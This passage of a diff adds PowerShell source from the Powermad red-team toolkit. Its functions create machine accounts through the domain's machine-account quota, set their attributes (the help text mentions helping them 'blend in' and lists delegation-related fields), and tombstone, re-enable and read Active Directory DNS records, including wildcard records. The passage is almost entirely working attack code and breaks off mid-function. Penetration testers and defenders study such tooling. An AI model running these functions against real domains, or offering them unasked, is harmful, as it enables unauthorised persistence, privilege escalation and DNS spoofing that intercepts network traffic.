+    New-MachineAccount -MachineAccount test
+
+    .EXAMPLE
+    Add a machine account named test with a password of Summer2018!.
+    $machine_account_password = ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force
+    New-MachineAccount -MachineAccount test -Password $machine_account_password
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$MachineAccount,
+        [parameter(Mandatory=$false)][System.Security.SecureString]$Password,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
+
+    if(!$Password)
+    {
+        $password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString
+    }
+
+    $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password)
+    $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR)
+
+    if(!$DomainController -or !$Domain)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+    
+    $Domain = $Domain.ToLower()
+    $machine_account = $MachineAccount
+
+    if($MachineAccount.EndsWith('$'))
+    {
+        $sam_account = $machine_account
+        $machine_account = $machine_account.SubString(0,$machine_account.Length - 1)
+    }
+    else 
+    {
+        $sam_account = $machine_account + "$"
+    }
+
+    Write-Verbose "[+] SAMAccountName = $sam_account" 
+
+    if(!$DistinguishedName)
+    {
+        $distinguished_name = "CN=$machine_account,CN=Computers"
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName
+    }
+
+    $password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"')
+    $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
+
+    if($Credential)
+    {
+        $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential())
+    }
+    else
+    {
+        $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
+    }
+    
+    $connection.SessionOptions.Sealing = $true
+    $connection.SessionOptions.Signing = $true
+    $connection.Bind()
+    $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
+    $request.DistinguishedName = $distinguished_name
+    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
+    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null
+    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null
+    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null
+    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain",
+        "RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null
+    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null
+    Remove-Variable password_cleartext
+
+    try
+    {
+        $connection.SendRequest($request) > $null
+        Write-Output "[+] Machine account $MachineAccount added"
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+
+        if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
+        {
+            Write-Output "[!] User may have reached ms-DS-MachineAccountQuota limit"
+        }
+
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+}
+
+function Remove-MachineAccount
+{
+    <#
+    .SYNOPSIS
+    This function removes a machine account with a privileged account.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    Machine accounts added with MachineAccountQuote cannot be deleted with an unprivileged user. Although users
+    can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is
+    just left in a disabled state. This function provides the ability to delete a machine account once a
+    privileged account has been obtained.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to delete the ADIDNS node.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS node.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER MachineAccount
+    The machine account that will be removed.
+
+    .EXAMPLE
+    Remove a machine account named test with domain admin credentials.
+    Remove-MachineAccount -MachineAccount test -Credential $domainadmin
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$MachineAccount,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if($MachineAccount.EndsWith('$'))
+    {
+        $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
+    }
+    else
+    {
+        $machine_account = $MachineAccount  
+    }
+
+    if(!$DistinguishedName)
+    {
+        $distinguished_name = "CN=$machine_account,CN=Computers"
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $directory_entry.psbase.DeleteTree()
+        Write-Output "[+] Machine account $MachineAccount removed"
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+}
+
+function Set-MachineAccountAttribute
+{
+    <#
+    .SYNOPSIS
+    This function can populate an attribute for an account that was added through New-MachineAccount. Write
+    access to the attribute is required. This function should be used with the same user that created the
+    machine account.
+
+    .DESCRIPTION
+    The user account that creates a machine account is granted write access to some attributes. These attributes
+    can be leveraged to help an added machine account blend in better or change values that were restricted by
+    validation when the account was created.
+
+    Here is a list of some of the usual write access enabled attributes:
+
+    AccountDisabled
+    description
+    displayName
+    DnsHostName
+    ServicePrincipalName
+    userParameters
+    userAccountControl
+    msDS-AdditionalDnsHostName
+    msDS-AllowedToActOnBehalfOfOtherIdentity
+    SamAccountName
+
+    Author: Kevin Robertson (@kevin_robertson)
+    License: BSD 3-Clause
+
+    .PARAMETER Append
+    Switch: Appends a value rather than overwriting.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to modify the attribute.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the computers OU.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER MachineAccount
+    The username of the machine account that will be modified.
+
+    .PARAMETER Attribute
+    The machine account attribute.
+
+    .PARAMETER Value
+    The machine account attribute value.
+
+    .EXAMPLE
+    Set the description attribute to a value of "test value" on a machine account named test.
+    Set-MachineAccountAttribute -MachineAccount test -Attribute description -Value "test value"
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$MachineAccount,
+        [parameter(Mandatory=$true)][String]$Attribute,
+        [parameter(Mandatory=$true)]$Value,
+        [parameter(Mandatory=$false)][Switch]$Append,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if($MachineAccount.EndsWith('$'))
+    {
+        $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
+    }
+    else
+    {
+        $machine_account = $MachineAccount  
+    }
+
+    if(!$DistinguishedName)
+    {
+        $distinguished_name = "CN=$machine_account,CN=Computers"
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+
+        if($Append)
+        {
+            $directory_entry.$Attribute.Add($Value) > $null
+            $directory_entry.SetInfo()
+            Write-Output "[+] Machine account $machine_account attribute $Attribute appended"
+        }
+        else
+        {
+            $directory_entry.InvokeSet($Attribute,$Value)
+            $directory_entry.SetInfo()
+            Write-Output "[+] Machine account $machine_account attribute $Attribute updated"
+        }
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+}
+
+#endregion
+
+#region begin DNS Functions
+
+function Disable-ADIDNSNode
+{
+    <#
+    .SYNOPSIS
+    This function can tombstone an ADIDNS node.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function deletes a DNS record by setting an ADIDNS node's dnsTombstoned attribute to 'True' and the
+    dnsRecord attribute to a zero type array. Note that the node remains in AD.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to tombstone the DNS node.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER SOASerialNumber
+    The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
+    DNS server and querying an SOA record.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Tombstone a wildcard record.
+    Disable-ADIDNSNode -Node *
+    
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    try
+    {
+        $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+        throw
+    }
+
+    if(!$DistinguishedName)
+    {
+
+        if($Partition -eq 'System')
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+        }
+        else
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+        }
+        
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = "DC=$Node," + $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    $timestamp = [int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks)
+    $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp))
+    $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)}
+
+    [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 +
+        $SOASerialNumberArray[0..3] +
+        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
+        $timestamp
+
+    Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNS_record))"
+
+    try
+    {
+        $directory_entry.InvokeSet('dnsRecord',$DNS_record)
+        $directory_entry.InvokeSet('dnsTombstoned',$true)
+        $directory_entry.SetInfo()
+        Write-Output "[+] ADIDNS node $Node tombstoned"
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+}
+
+function Enable-ADIDNSNode
+{
+    <#
+    .SYNOPSIS
+    This function can turn a tombstoned node back into a valid record.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function can turn a tombstoned node back into a valid record. This function should be used in place of
+    New-ADIDNSNode when working with nodes that already exist due to being previously added. 
+
+    .PARAMETER Attribute
+    The ADIDNS node attribute.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to modify the attribute.
+
+   .PARAMETER Data
+    For most record types this will be the destination hostname or IP address. For TXT records this can be used
+    for data.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER DNSRecord
+    DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Port
+    SRV record port.
+
+    .PARAMETER Preference
+    MX record preference.
+
+    .PARAMETER Priority
+    SRV record priority.
+
+    .PARAMETER Tombstone
+    Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that
+    allows it to be modified or fully tombstoned by any authenticated user.
+
+    .PARAMETER SOASerialNumber
+    The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
+    DNS server and querying an SOA record.
+
+    .PARAMETER Static
+    Switch: Zeros out the timestamp to create a static record instead of a dynamic.
+
+    .PARAMETER TTL
+    Default = 600: DNS record TTL.
+
+    .PARAMETER Type
+    Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.
+
+    .PARAMETER Weight
+    SRV record weight.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Enable a wildcard record.
+    Enable-ADIDNSNode -Node *
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$Data,    
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][Byte[]]$DNSRecord,
+        [parameter(Mandatory=$false)][Int]$Preference,
+        [parameter(Mandatory=$false)][Int]$Priority,
+        [parameter(Mandatory=$false)][Int]$Weight,
+        [parameter(Mandatory=$false)][Int]$Port,
+        [parameter(Mandatory=$false)][Int]$TTL = 600,
+        [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+        [parameter(Mandatory=$false)][Switch]$Static,
+        [parameter(Mandatory=$false)][Switch]$Tombstone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+        
+        if($Partition -eq 'System')
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+        }
+        else
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = "DC=$Node," + $DistinguishedName
+    }
+
+    if(!$DNSRecord)
+    {
+
+        try 
+        {
+
+            if($Static)
+            {
+                $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static
+            }
+            else
+            {
+                $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone 
+            }
+
+            Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))"
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw    
+        }
+
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $directory_entry.InvokeSet('dnsRecord',$DNSRecord)
+        $directory_entry.SetInfo()
+        Write-Output "[+] ADIDNS node $Node enabled"
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+}
+
+function Get-ADIDNSNodeAttribute
+{
+    <#
+    .SYNOPSIS
+    This function can return values populated in an ADIDNS node attribute.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function can be used to retrn an ADIDNS node attribute such as a dnsRecord array.
+
+    .PARAMETER Attribute
+    The ADIDNS node attribute.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to read the attribute.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Get the dnsRecord attribute value of a node named test.
+    Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$Attribute,
+        [parameter(Mandatory=$true)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+        
+        if($Partition -eq 'System')
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+        }
+        else
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = "DC=$Node," + $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $output = $directory_entry.InvokeGet($Attribute)
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+    return $output
+}
+
+function Get-ADIDNSNodeOwner
+{
+    <#
+    .SYNOPSIS
+    This function can returns the owner of an ADIDNS Node.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function can returns the owner of an ADIDNS Node.
+
+    .PARAMETER Attribute
+    The ADIDNS node attribute.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to read the attribute.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Get the owner of a node named test.
+    Get-ADIDNSNodeOwner -Node test
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+        
+        if($Partition -eq 'System')
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+        }
+        else
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
